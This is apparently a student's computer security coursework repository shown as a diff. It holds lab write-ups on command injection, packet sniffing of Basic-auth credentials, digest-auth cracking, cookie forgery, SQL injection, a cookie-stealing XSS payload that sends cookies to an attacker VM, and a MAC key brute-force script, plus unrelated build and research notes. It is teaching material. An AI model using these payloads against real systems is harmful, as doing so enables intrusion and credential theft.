==6151== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
|
||||
==6151== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
|
||||
==6151== Command: bcvi /tmp/tmp.BVlzyy7jiG
|
||||
==6151==
|
||||
|
||||
valgrind: Fatal error at startup: a function redirection
|
||||
valgrind: which is mandatory for this platform-tool combination
|
||||
valgrind: cannot be set up. Details of the redirection are:
|
||||
valgrind:
|
||||
valgrind: A must-be-redirected function
|
||||
valgrind: whose name matches the pattern: strlen
|
||||
valgrind: in an object with soname matching: ld-linux.so.2
|
||||
valgrind: was not found whilst processing
|
||||
valgrind: symbols from the object with soname: ld-linux.so.2
|
||||
valgrind:
|
||||
valgrind: Possible fixes: (1, short term): install glibc's debuginfo
|
||||
valgrind: package on this machine. (2, longer term): ask the packagers
|
||||
valgrind: for your Linux distribution to please in future ship a non-
|
||||
valgrind: stripped ld.so (or whatever the dynamic linker .so is called)
|
||||
valgrind: that exports the above-named function using the standard
|
||||
valgrind: calling conventions for this platform. The package you need
|
||||
valgrind: to install for fix (1) is called
|
||||
valgrind:
|
||||
valgrind: On Debian, Ubuntu: libc6-dbg
|
||||
valgrind: On SuSE, openSuSE, Fedora, RHEL: glibc-debuginfo
|
||||
valgrind:
|
||||
valgrind: Cannot continue -- exiting now. Sorry.
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
Question 1
|
||||
|
||||
Potential attacks would be attempts to change certain information in the
|
||||
database, such as an attempt to modify grades or to gain unauthorized access to
|
||||
exam questions and solutions ahead of time. These attacks could potentially be
|
||||
performed by mischievous students or anyone else who has knowledge about this
|
||||
database. Threats we should explicitly exclude from consideration are those
|
||||
beyond the scope of the software of the database, for example, an attacker
|
||||
attempting to gain access physically by breaking into the server room holding
|
||||
the database.
|
||||
|
||||
Supposing that the database was stored on the instructor's personal laptop, the
|
||||
most basic protection that one can employ is a password on the instructor's
|
||||
laptop account (and filesystem encryption, if possible). This will ensure that
|
||||
people who have physical access to the professor's computer cannot simply gain
|
||||
access to important files. Another security measure that could be employed is a
|
||||
military-grade laptop bag with a physical lock. This prevents people who steal
|
||||
the laptop from accessing or destroying the data. Relocation to Fort Knox would
|
||||
also be a plus for security, although without a network card it may be hard to
|
||||
communicate with the database.
|
||||
|
||||
Question 2
|
||||
|
||||
Part (a)
|
||||
|
||||
Since the Perl script is passing user input directly to another application
|
||||
without sanitization, anything the user enters could be potentially treated as
|
||||
code. For example, if the attacker enters the username:
|
||||
|
||||
Bob; rm -rf ~/*
|
||||
|
||||
they could potentially perform any command they want, since the backtick
|
||||
syntax will simply pass the entire string to the shell, and the shell knows
|
||||
nothing about the format of the command, and that the second command was
|
||||
actually a malicious user input.
|
||||
|
||||
One way to improve the code is to check for the existence of characters that
|
||||
could be interpreted as code ("blacklisting" certain characters). Of course,
|
||||
this requires that the list must be completely exhaustive, otherwise it serves
|
||||
absolutely no value. The alternative is to only allow usernames to contain
|
||||
certain characters (for example, alphanumeric characters) that could not be
|
||||
interpreted by the shell to be instructions.
|
||||
|
||||
Part (b)
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,104 @@
|
|||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
|
||||
char rot_char(char c, int amt) {
|
||||
if (c >= 'A' && c <= 'Z')
|
||||
return 'A' + ((c - 'A') + amt) % 26;
|
||||
else if (c >= 'a' && c <= 'z')
|
||||
return 'a' + ((c - 'a') + amt) % 26;
|
||||
else
|
||||
return c;
|
||||
}
|
||||
|
||||
void transform(char *in_buf, char *out_buf, int out_size) {
|
||||
char *p = in_buf;
|
||||
char *bp = out_buf;
|
||||
char *buflim = &out_buf[out_size - 8];
|
||||
char c;
|
||||
int in_ul, last_ul, rot_amt, skipping;
|
||||
int brack_lvl, brace_lvl;
|
||||
in_ul = brack_lvl = brace_lvl = last_ul = rot_amt = skipping = 0;
|
||||
|
||||
while ((c = *p++) != '\0') {
|
||||
if (brack_lvl > 0)
|
||||
c = toupper(c);
|
||||
|
||||
c = rot_char(c, rot_amt);
|
||||
|
||||
if (c == '/')
|
||||
in_ul = !in_ul;
|
||||
|
||||
skipping = (bp >= buflim);
|
||||
|
||||
if ((unsigned)c - (unsigned)'[' < 3u && c != '\\') {
|
||||
int i = (c & 2) ? 1 : -1;
|
||||
if (brack_lvl + i >= 0 && !skipping) {
|
||||
brack_lvl += i;
|
||||
buflim -= i;
|
||||
}
|
||||
}
|
||||
|
||||
if (c == '{') {
|
||||
if (!skipping) {
|
||||
brace_lvl++;
|
||||
}
|
||||
rot_amt += 13;
|
||||
if (rot_amt == 26) {
|
||||
rot_amt = 0;
|
||||
buflim -= 2;
|
||||
}
|
||||
}
|
||||
if (c == '}' && brace_lvl > 0) {
|
||||
if (!skipping) {
|
||||
brace_lvl--;
|
||||
buflim++;
|
||||
}
|
||||
rot_amt -= 13;
|
||||
if (rot_amt < 0)
|
||||
rot_amt = 0;
|
||||
}
|
||||
|
||||
if (in_ul && isalpha(c) && !last_ul && !skipping)
|
||||
*bp++ = '_';
|
||||
|
||||
if (c != '/' && !skipping)
|
||||
*bp++ = c;
|
||||
|
||||
if (in_ul && isalpha(c)) {
|
||||
if (!skipping)
|
||||
*bp++ = '_';
|
||||
last_ul = 1;
|
||||
} else {
|
||||
last_ul = 0;
|
||||
}
|
||||
}
|
||||
while (brack_lvl-- > 0)
|
||||
*bp++ = ']';
|
||||
while (brace_lvl-- > 0)
|
||||
*bp++ = '}';
|
||||
*bp++ = ' ';
|
||||
*bp++ = 'e';
|
||||
*bp++ = 'n';
|
||||
*bp++ = 'd';
|
||||
*bp++ = '\0';
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char buf[64];
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: transform <string>\n");
|
||||
fprintf(stderr, "You should probably use quotes around the string.\n");
|
||||
return 1;
|
||||
}
|
||||
printf("%s\n", argv[1]);
|
||||
buf[20] = '\242';
|
||||
transform(argv[1], buf, 20);
|
||||
printf("%s\n", buf);
|
||||
/* This canary-like check isn't foolproof, and it isn't the point
|
||||
of the exercise, but for testing purposes it makes it easy to
|
||||
see that an overflow has happened. */
|
||||
if (buf[20] != '\242')
|
||||
fprintf(stderr, "Overflow detected\n");
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,42 @@
|
|||
# Source: https://gist.githubusercontent.com/indygreg/5608534/raw/30704c59364ce7a8c69a02ee7f1cfb23d1ffcb2c/Dockerfile
|
||||
# Blog post: https://gregoryszorc.com/blog/2013/05/19/using-docker-to-build-firefox/
|
||||
|
||||
# This Source Code Form is subject to the terms of the Mozilla Public
|
||||
# License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
|
||||
|
||||
# Create a build and development environment for Firefox.
|
||||
|
||||
FROM ubuntu:16.04
|
||||
MAINTAINER Gregory Szorc "gps@mozilla.com"
|
||||
|
||||
RUN apt-get update && apt-get install -y \
|
||||
autoconf2.13 \
|
||||
build-essential \
|
||||
sudo \
|
||||
unzip \
|
||||
yasm \
|
||||
zip \
|
||||
libasound2-dev \
|
||||
libcurl4-openssl-dev \
|
||||
libdbus-1-dev \
|
||||
libdbus-glib-1-dev \
|
||||
libgtk2.0-dev \
|
||||
libiw-dev \
|
||||
libnotify-dev \
|
||||
libxt-dev \
|
||||
mesa-common-dev \
|
||||
uuid-dev \
|
||||
binutils-gold \
|
||||
bash-completion \
|
||||
curl \
|
||||
emacs \
|
||||
git \
|
||||
man-db \
|
||||
python-dev \
|
||||
python-pip \
|
||||
vim
|
||||
RUN pip install mercurial
|
||||
|
||||
RUN useradd -m firefox
|
||||
RUN hg clone https://hg.mozilla.org/mozilla-central
|
|
@ -0,0 +1,26 @@
|
|||
In this project, we're exploring how the browser Firefox handles attacks against
|
||||
its APIs and how a certain extension developed by the researchers could be used
|
||||
to deny access to JavaScript APIs that regular websites shouldn't always need
|
||||
access to. During our last meeting, we discussed that some of the action steps
|
||||
for this project will involve trying to identify vulnerabilities in the
|
||||
extension itself as well as any possible API-blocking customizations that could
|
||||
be implemented directly into Firefox itself (for example, seeing if the script
|
||||
that is requesting access was part of the website itself or was part of a
|
||||
third-party script that was loaded to the user's oblivion.
|
||||
|
||||
Since that day, I have cloned the Firefox source code and began compilation on
|
||||
my personal computer, which is running a slightly modified Ubuntu environment
|
||||
called Elementary OS.
|
||||
|
||||
I've also downloaded the version of Firefox that the researchers specified and
|
||||
began investigating into some of the techniques used into blocking access to the
|
||||
APIs. The extension uses an eval statement to load the proxy that it's using
|
||||
into the page, then switching all of the APIs into the proxy code that does
|
||||
nothing before any page scripts start loading. (I'm going to investigate whether
|
||||
the browser mandates that add-on scripts must be loaded into the page before
|
||||
page scripts are loaded or not, and see if that kind of race condition could
|
||||
cause a hole in this extension.) I did some prodding around the JavaScript Proxy
|
||||
object to see if there is any way to retrieve the original object that was
|
||||
replaced, but I think it's impossible, so I'm going to try to attack some other
|
||||
vectors that the researchers may have not considered yet (for example trying to
|
||||
load my page script first).
|
|
@ -0,0 +1 @@
|
|||
.vscode
|
|
@ -0,0 +1,46 @@
|
|||
student@xenial64s:~$ sudo tcpdump -i ens4 -Av 'host 192.168.16.1'
|
||||
tcpdump: listening on ens4, link-type EN10MB (Ethernet), capture size 262144 bytes
|
||||
15:23:18.220531 IP (tos 0x0, ttl 64, id 54084, offset 0, flags [DF], proto TCP (6), length 60)
|
||||
192.168.16.2.39824 > 192.168.16.1.http: Flags [S], cksum 0x60a8 (correct), seq 106577394, win 29200, options [mss 1460,sackOK,TS val 84995766 ecr 0,nop,wscale 7], length 0
|
||||
E..<.D@.@..#...........P.Z=.......r.`..........
|
||||
............
|
||||
15:23:18.221128 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
|
||||
192.168.16.1.http > 192.168.16.2.39824: Flags [S.], cksum 0x024c (correct), seq 3214103152, ack 106577395, win 28960, options [mss 1460,sackOK,TS val 85018662 ecr 84995766,nop,wscale 7], length 0
|
||||
E..<..@.@..h.........P....Rp.Z=...q .L.........
|
||||
..H&........
|
||||
15:23:18.221200 IP (tos 0x0, ttl 64, id 54085, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.2.39824 > 192.168.16.1.http: Flags [.], cksum 0xa152 (correct), ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 0
|
||||
E..4.E@.@..*...........P.Z=...Rq.....R.....
|
||||
......H&
|
||||
15:23:18.221201 IP (tos 0x0, ttl 64, id 54086, offset 0, flags [DF], proto TCP (6), length 84)
|
||||
192.168.16.2.39824 > 192.168.16.1.http: Flags [P.], cksum 0xd58b (correct), seq 1:33, ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 32: HTTP, length: 32
|
||||
HEAD /secret/file.php HTTP/1.0
|
||||
E..T.F@.@.. ...........P.Z=...Rq...........
|
||||
......H&HEAD /secret/file.php HTTP/1.0
|
||||
|
||||
15:23:18.221709 IP (tos 0x0, ttl 64, id 6743, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.1.http > 192.168.16.2.39824: Flags [.], cksum 0xa134 (correct), ack 33, win 227, options [nop,nop,TS val 85018662 ecr 84995767], length 0
|
||||
E..4.W@.@............P....Rq.Z>......4.....
|
||||
..H&....
|
||||
15:23:18.221737 IP (tos 0x0, ttl 64, id 54087, offset 0, flags [DF], proto TCP (6), length 165)
|
||||
192.168.16.2.39824 > 192.168.16.1.http: Flags [P.], cksum 0x74f4 (correct), seq 33:146, ack 1, win 229, options [nop,nop,TS val 84995767 ecr 85018662], length 113: HTTP
|
||||
E....G@.@..............P.Z>...Rq....t......
|
||||
......H&Host: 192.168.16.1
|
||||
Connection: close
|
||||
Accept-language: en
|
||||
Authorization: Basic c2VvaDE2OmdlaGVpbW5pczYxOTg=
|
||||
|
||||
|
||||
15:23:18.222146 IP (tos 0x0, ttl 64, id 6744, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.1.http > 192.168.16.2.39824: Flags [.], cksum 0xa0c3 (correct), ack 146, win 227, options [nop,nop,TS val 85018662 ecr 84995767], length 0
|
||||
E..4.X@.@............P....Rq.Z>............
|
||||
..H&....
|
||||
^C
|
||||
7 packets captured
|
||||
12 packets received by filter
|
||||
5 packets dropped by kernel
|
||||
|
||||
Base64-decoded version of "c2VvaDE2OmdlaGVpbW5pczYxOTg=" is "seoh16:geheimnis6198"
|
||||
Username: seoh16
|
||||
Password: geheimnis6198
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
student@xenial64s:~$ curl http://192.168.16.1/secret/file.php -H "Authorization: Basic c2VvaDE2OmdlaGVpbW5pczYxOTg="
|
||||
"The common question that gets asked in business is, ‘why?’ That’s a good question, but an equally valid question is, ‘why not?’" – Jeff Bezos
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
import md5
|
||||
|
||||
username="seoh16"
|
||||
realm="Cheese"
|
||||
nonce="2kiHAWxdBQA=117175983f2816893c1e24a382fbe93188ae5b4f"
|
||||
uri="/secret/cheese.php"
|
||||
cnonce="MDIzY2VhMzk1MjVkNDU5MGVjMTEyYWRmNzJhMzkwZDc="
|
||||
nc="00000001"
|
||||
qop="auth"
|
||||
response="40ce378475bc8a64d33a19902b757b85"
|
||||
|
||||
ha2 = md5.new("HEAD:"+uri)
|
||||
f = open("usr/share/dict/words").read().split()
|
||||
for word in f:
|
||||
ha1 = md5.new()
|
||||
ha1.update(username+":"+realm+":"+word)
|
||||
result = md5.new()
|
||||
result.update(ha1.hexdigest()+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+ha2.hexdigest())
|
||||
if result.hexdigest() == response:
|
||||
print word
|
||||
break
|
|
@ -0,0 +1,84 @@
|
|||
student@xenial64s:~$ sudo tcpdump -i ens4 -Av 'host 192.168.16.1'
|
||||
tcpdump: listening on ens4, link-type EN10MB (Ethernet), capture size 262144 bytes
|
||||
15:26:32.698914 IP (tos 0x0, ttl 64, id 31355, offset 0, flags [DF], proto TCP (6), length 60)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [S], cksum 0xda62 (correct), seq 902420185, win 29200, options [mss 1460,sackOK,TS val 85044386 ecr 0,nop,wscale 7], length 0
|
||||
E..<z{@.@..............P5.........r..b.........
|
||||
............
|
||||
15:26:32.699188 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
|
||||
192.168.16.1.http > 192.168.16.2.39826: Flags [S.], cksum 0x9cf2 (correct), seq 3989652829, ack 902420186, win 28960, options [mss 1460,sackOK,TS val 85067282 ecr 85044386,nop,wscale 7], length 0
|
||||
E..<..@.@..h.........P....E]5.....q ...........
|
||||
............
|
||||
15:26:32.699831 IP (tos 0x0, ttl 64, id 31356, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x3bf9 (correct), ack 1, win 229, options [nop,nop,TS val 85044387 ecr 85067282], length 0
|
||||
E..4z|@.@..............P5.....E^....;......
|
||||
........
|
||||
15:26:32.700913 IP (tos 0x0, ttl 64, id 31357, offset 0, flags [DF], proto TCP (6), length 146)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [P.], cksum 0x98e7 (correct), seq 1:95, ack 1, win 229, options [nop,nop,TS val 85044387 ecr 85067282], length 94: HTTP, length: 94
|
||||
HEAD /secret/cheese.php HTTP/1.1
|
||||
Host: 192.168.16.1
|
||||
User-Agent: curl/7.47.0
|
||||
Accept: */*
|
||||
|
||||
E...z}@.@..............P5.....E^...........
|
||||
........HEAD /secret/cheese.php HTTP/1.1
|
||||
Host: 192.168.16.1
|
||||
User-Agent: curl/7.47.0
|
||||
Accept: */*
|
||||
|
||||
|
||||
15:26:32.701336 IP (tos 0x0, ttl 64, id 17228, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.1.http > 192.168.16.2.39826: Flags [.], cksum 0x3b9d (correct), ack 95, win 227, options [nop,nop,TS val 85067282 ecr 85044387], length 0
|
||||
E..4CL@.@.V$.........P....E^5..8....;......
|
||||
........
|
||||
15:26:32.701752 IP (tos 0x0, ttl 64, id 17229, offset 0, flags [DF], proto TCP (6), length 360)
|
||||
192.168.16.1.http > 192.168.16.2.39826: Flags [P.], cksum 0x58ff (correct), seq 1:309, ack 95, win 227, options [nop,nop,TS val 85067282 ecr 85044387], length 308: HTTP, length: 308
|
||||
HTTP/1.1 401 Unauthorized
|
||||
Date: Tue, 14 Nov 2017 21:26:32 GMT
|
||||
Server: Apache/2.4.18 (Ubuntu)
|
||||
WWW-Authenticate: Digest realm="Cheese", nonce="DLN7CvhdBQA=632d10cb5e45f339837ff3923a77459fbb1e4ced", algorithm=MD5, domain="http://localhost/secret/", qop="auth"
|
||||
Content-Type: text/html; charset=iso-8859-1
|
||||
|
||||
E..hCM@.@.T..........P....E^5..8....X......
|
||||
........HTTP/1.1 401 Unauthorized
|
||||
Date: Tue, 14 Nov 2017 21:26:32 GMT
|
||||
Server: Apache/2.4.18 (Ubuntu)
|
||||
WWW-Authenticate: Digest realm="Cheese", nonce="DLN7CvhdBQA=632d10cb5e45f339837ff3923a77459fbb1e4ced", algorithm=MD5, domain="http://localhost/secret/", qop="auth"
|
||||
Content-Type: text/html; charset=iso-8859-1
|
||||
|
||||
|
||||
15:26:32.702537 IP (tos 0x0, ttl 64, id 31358, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x3a5f (correct), ack 309, win 237, options [nop,nop,TS val 85044387 ecr 85067282], length 0
|
||||
E..4z~@.@..............P5..8..F.....:_.....
|
||||
........
|
||||
15:26:32.704483 IP (tos 0x0, ttl 64, id 17230, offset 0, flags [DF], proto TCP (6), length 323)
|
||||
192.168.16.1.http > 192.168.16.2.39826: Flags [P.], cksum 0x40d2 (correct), seq 309:580, ack 474, win 235, options [nop,nop,TS val 85067283 ecr 85044388], length 271: HTTP, length: 271
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 14 Nov 2017 21:26:32 GMT
|
||||
Server: Apache/2.4.18 (Ubuntu)
|
||||
Authentication-Info: rspauth="1f407e49d01115b32ac04c4c4e5fff55", cnonce="MjkxNThiMGE2NjZkMTUzMzk2ZjY4NTkwODgwNmJlMDc=", nc=00000001, qop=auth
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
E..CCN@.@.U..........P....F.5.......@......
|
||||
........HTTP/1.1 200 OK
|
||||
Date: Tue, 14 Nov 2017 21:26:32 GMT
|
||||
Server: Apache/2.4.18 (Ubuntu)
|
||||
Authentication-Info: rspauth="1f407e49d01115b32ac04c4c4e5fff55", cnonce="MjkxNThiMGE2NjZkMTUzMzk2ZjY4NTkwODgwNmJlMDc=", nc=00000001, qop=auth
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
|
||||
15:26:32.705142 IP (tos 0x0, ttl 64, id 31360, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [F.], cksum 0x37ca (correct), seq 474, ack 580, win 245, options [nop,nop,TS val 85044388 ecr 85067283], length 0
|
||||
E..4z.@.@..............P5.....G.....7......
|
||||
........
|
||||
15:26:32.705626 IP (tos 0x0, ttl 64, id 17231, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.1.http > 192.168.16.2.39826: Flags [F.], cksum 0x37d3 (correct), seq 580, ack 475, win 235, options [nop,nop,TS val 85067283 ecr 85044388], length 0
|
||||
E..4CO@.@.V!.........P....G.5.......7......
|
||||
........
|
||||
15:26:32.706244 IP (tos 0x0, ttl 64, id 31361, offset 0, flags [DF], proto TCP (6), length 52)
|
||||
192.168.16.2.39826 > 192.168.16.1.http: Flags [.], cksum 0x37c9 (correct), ack 581, win 245, options [nop,nop,TS val 85044388 ecr 85067283], length 0
|
||||
E..4z.@.@..............P5.....G.....7......
|
||||
........
|
||||
^C
|
||||
11 packets captured
|
||||
12 packets received by filter
|
||||
1 packet dropped by kernel
|
|
@ -0,0 +1,2 @@
|
|||
192.168.16.1 FALSE / FALSE 0 PHPSESSID a
|
||||
192.168.16.1 FALSE / FALSE 0 loginAuth Stephen2017-10-30T17%3A39%3A23Z
|
|
@ -0,0 +1,22 @@
|
|||
After performing some registrations and logins using the system, I discovered
|
||||
that the only basis on which the page determines if a user is logged in is using
|
||||
the cookie "loginAuth". The cookie isn't signed so it's quite easy to forge a
|
||||
fake cookie by substituting my own user for the user "Stephen".
|
||||
|
||||
Doing this through cURL produces:
|
||||
|
||||
student@xenial64s:~$ curl -k https://192.168.16.1/private/admin.php -H "Cookie: PHPSESSID=a; loginAuth=Stephen2017-10-30T17%3A39%3A23Z"
|
||||
<!doctype html>
|
||||
<head>
|
||||
<title>Admin</title>
|
||||
</head>
|
||||
<body>
|
||||
<p><strong>Welcome back, Stephen!</strong></p><p>You have <strong>5</strong> new messages.</p><ul>
|
||||
<li><strong>Richard Stallman</strong> - Subj: Stuck on HA2 problem 3</li>
|
||||
<li><strong>Patrick Bateman</strong> - Subj: Re: Did you return the textbook?</li>
|
||||
<li><strong>Lil Wayne</strong> - Subj: Recommendation on papers?</li>
|
||||
<li><strong>Se Eun Oh</strong> - Subj: Delay on grading HA2</li>
|
||||
<li><strong>Jack Handey</strong> - Subj: Happy Thanksgiving!</li>
|
||||
</ul><img src="../img/hacking.gif"></body> </html>
|
||||
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
The SQL injection in this one was relatively trivial, since it seems that the
|
||||
query used AND to limit the selection to only seoh's comments. If we ended the
|
||||
query right there (by ending the ' and commenting out the rest of the string),
|
||||
then we can get all the comments for this picture.
|
||||
|
||||
This was the first method that worked for me. Since this vulnerability is pretty
|
||||
bad, there's a lot more ways to exploit it:
|
||||
|
||||
- Just query them all and LIMIT x, offset
|
||||
- Use a UNION operation
|
||||
- Use sqlmap, it could probably spawn a shell.
|
||||
|
||||
Interestingly enough, one of the answers seem to be hardcoded into the application.
|
||||
Here's the output:
|
||||
|
||||
student@xenial64s:~$ curl -k https://192.168.16.1/thought.php -X POST --data "picture=' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--"
|
||||
<!doctype html>
|
||||
<head>
|
||||
<title>Thoughts</title>
|
||||
</head>
|
||||
<body>
|
||||
<img src='/img/' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--'><table border=1>
|
||||
<tr><th>Username</th><th>Picture</th><th>Thought</th>
|
||||
<tr><td>Awesome book</td><td>Awesome book</td><td>Awesome book</td></tr>
|
||||
<tr><td>Great picture</td><td>Great picture</td><td>Great picture</td></tr>
|
||||
</table>
|
||||
<br><strong>seoh's thoughts on ' and 1=0 union select thought, thought, thought from group_thought where username='seoh';--</strong>:<br><i>Great picture</i><br>
|
||||
<br><form method="post">
|
||||
<select id="picture" name="picture">
|
||||
<option value="infinitejest.jpg">Infinite Jest</option>
|
||||
<option value="glamorama.jpg">Glamorama</option>
|
||||
</select>
|
||||
<input type="submit" value="Fetch" />
|
||||
</form>
|
||||
<br><br>Lost? Home is <a href="/index.php">this</a> way.<br>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
student@xenial64s:~$ curl -k https://192.168.16.1/comment/comment.php?c_id=73
|
||||
<!doctype html>
|
||||
<head>
|
||||
<title>Comment</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<strong>Comment</strong>: <script>location.href="http://192.168.16.3/?" + encodeURI(document.cookie);</script>
|
||||
|
||||
<br><br><br>Go <a href="/comment">back</a> to read the rest of the comments.<br>
|
||||
|
||||
Lost? Home is <a href="/index.php">this</a> way.
|
||||
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
auth=silva2806
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
The trick to this XSS attack is to make the user somehow load a page from our
|
||||
attacker VM, and also pass along the cookie. In order to do this, I posted the
|
||||
malicious comment onto the forum:
|
||||
|
||||
<script>location.href="http://192.168.16.3/?"+encodeURI(document.cookie);</script>
|
||||
|
||||
This would effectively make the client's browser redirect to my attacker VM,
|
||||
using a path that contained the cookie. This was the most straightforward way I
|
||||
could think of, but there could be other ways, such as attaching a hook onto a
|
||||
body onload or possibly other event listeners (although I'm not sure if phantom
|
||||
or whatever the client automation script supports those).
|
||||
|
||||
Using the link of an image wouldn't really work in this case because we want to
|
||||
pass the client's cookie in. In a real XSS attack, one could use a site such as
|
||||
https://requestb.in/ if they don't have a server ready for the user to request.
|
||||
|
||||
The next step was to prepare the server to listen. Nothing fancy:
|
||||
|
||||
student@xenial64s:~$ sudo nc -l 80
|
||||
|
||||
Since HTTP requests are in plain text anyway, this call would reveal the cookie
|
||||
immediately. Sure enough, the request came in, with the cookie:
|
||||
|
||||
GET /?auth=silva2806 HTTP/1.1
|
||||
Host: 192.168.16.3
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: keep-alive
|
||||
|
||||
The cookie is "auth=silva2806".
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
import requests
|
||||
import string
|
||||
import sys
|
||||
|
||||
|
||||
def gethash(uname):
|
||||
r = requests.get("https://192.168.16.1/mac-cookie.php?username={}".format(uname), verify=False)
|
||||
return r.text.strip().split("with the MAC ")[1].split(".")[0]
|
||||
|
||||
|
||||
username = "olololololololololololololololo"[:19]
|
||||
key = ""
|
||||
|
||||
for i in range(19, -1, -1):
|
||||
userseg = username[:i]
|
||||
keyseg = key[:(19 - i)]
|
||||
basehash = gethash(userseg)
|
||||
for c in string.printable:
|
||||
cand = userseg + keyseg + c
|
||||
if basehash == gethash(cand):
|
||||
key += c
|
||||
print "added '{}'".format(c)
|
||||
break
|
||||
else:
|
||||
print "failed on i={}".format(i)
|
||||
sys.exit(1)
|
||||
print "key = '{}'".format(key)
|
|
@ -0,0 +1,12 @@
|
|||
For this challenge, I exposed the key character by character starting from the
|
||||
end, using this method:
|
||||
|
||||
1. Start with a 19-character string.
|
||||
2. Send this string to the server and get its hash.
|
||||
3. Loop through chars 0-255, for the brute-force character. Compute (origstring + keysegment + newcharacter).
|
||||
4. Take this computation and send it to the server and retrieve the hash.
|
||||
5. There will be exactly 1 matching character. Add this to the key.
|
||||
6. Shorten the string by 1 character, and the go back to step 2 until the string is empty.
|
||||
|
||||
By this method, each character is exposed 1 by 1. The key that I retrieved was
|
||||
'GbbElypm0ztVpceOjVre'.
|
|
@ -0,0 +1 @@
|
|||
Subproject commit d85df1815cd02b0d0776a5cd6cd669fcd549cab1
|
|
@ -0,0 +1,19 @@
|
|||
An important update happened to the extension we were observing, it expanded and
|
||||
began using a larger JSON-based API for disabling web APIs. Our project team
|
||||
decided to focus on extending the behavior of this extension.
|
||||
|
||||
Our group has decided to extend the web Audio API and look into what APIs need
|
||||
to be blocked and compile a data file containing our findings. I've also noticed
|
||||
that the extension has not deviated from their code-generating eval style, so
|
||||
I'm currently looking at workarounds from using eval (creating a script tag and
|
||||
inserting it into the DOM).
|
||||
|
||||
Additionally, when it comes to running on sites that have a very strict Content
|
||||
Security Policy, they manually inject the sha-256 of the script into the header
|
||||
before the script is injected into the page. However, doing a quick search on
|
||||
this approach reveals that it's not completely reliable[1], and conflicting
|
||||
extensions may cause the script to not be pardoned.
|
||||
|
||||
[1]: https://transitory.technology/browser-extensions-and-csp-headers
|
||||
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
For this progress report, I've continued investigating the app, especially in
|
||||
ways it could be circumvented. Through this investigation, I've learned a lot
|
||||
about how Google Chrome extensions actually inject scripts into the page, as
|
||||
well as security implications of doing so. In particular, I learned that content
|
||||
scripts belonging to extensions are executed in a separate space from the page,
|
||||
and so the only way they could possibly interact with the page is through
|
||||
appending text-only attributes to the page when it loads.
|
||||
|
||||
I also patched the bug where window.open could be exploited to use the APIs of
|
||||
another open window, by replacing that call with a Proxy object that calls the
|
||||
blocking function on the returned window object. Elliott made the addition of
|
||||
blocking all APIs recursively from there, something I overlooked. Here's a link
|
||||
to my fork of the extension, including the Proxy patch developed by me and
|
||||
Elliott:
|
||||
|
||||
https://github.com/iptq/web-api-manager
|
||||
|
||||
Finally, our group spent some time working on the paper, which Sam submitted a
|
||||
first draft of tonight.
|
||||
|
Loading…
Reference in New Issue